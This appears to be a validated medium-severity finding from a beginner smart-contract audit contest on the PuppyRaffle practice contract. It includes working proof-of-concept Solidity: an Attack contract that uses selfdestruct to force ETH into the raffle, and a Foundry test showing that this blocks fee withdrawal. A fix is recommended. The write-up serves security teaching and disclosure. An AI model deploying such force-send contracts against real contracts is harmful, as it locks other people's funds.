Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Breaking balance and fee invariant prevents fee withdrawal

Summary

It is possible for an attacker to forcibly send ether to the PuppyRaffle contract, breaking a key invariant that prevents withdrawal of ether attributed to fees.

Vulnerability Details

An attacker can create a smart contract (referred to as Attack) that can selfdestruct and forcibly send an amount of ETH to the PuppyRaffle contract. This can be achieved at very low cost.

// An example of the Attack contract implementing a function to forcibly send ETH to the raffle
contract Attack {
PuppyRaffle raffle;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
function forceSendAttack() external payable {
selfdestruct(payable(address(raffle)));
}
}
// Working test case added to the PuppyRaffleTest.t.sol file
function testDonateToLockFunds() public {
// Setup address array: players
address[] memory players = new address[](numPlayers);
for (uint256 i; i < players.length; ++i) {
players[i] = makeAddr(vm.toString(i));
}
// Enter raffle with players
puppyRaffle.enterRaffle{value: players.length * entranceFee}(players);
// Skip ahead to the end of this raffle
skip(duration + 1);
// Select raffle winner
puppyRaffle.selectWinner();
// Deploy attack contract with PuppyRaffle address
Attack attack = new Attack(address(puppyRaffle));
// Forcibly send 1 wei to the PuppyRaffle address
attack.forceSendAttack{value: 1 wei}();
// Withdraw should revert
vm.expectRevert();
puppyRaffle.withdrawFees();
}

Impact

Breaks a contract invariant, leading to a loss of funds attributed to fees.

Tools Used

Foundry.

Recommendations

Do not rely on address(this).balance in the first line of the withdraw() function. Remove this require statement.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!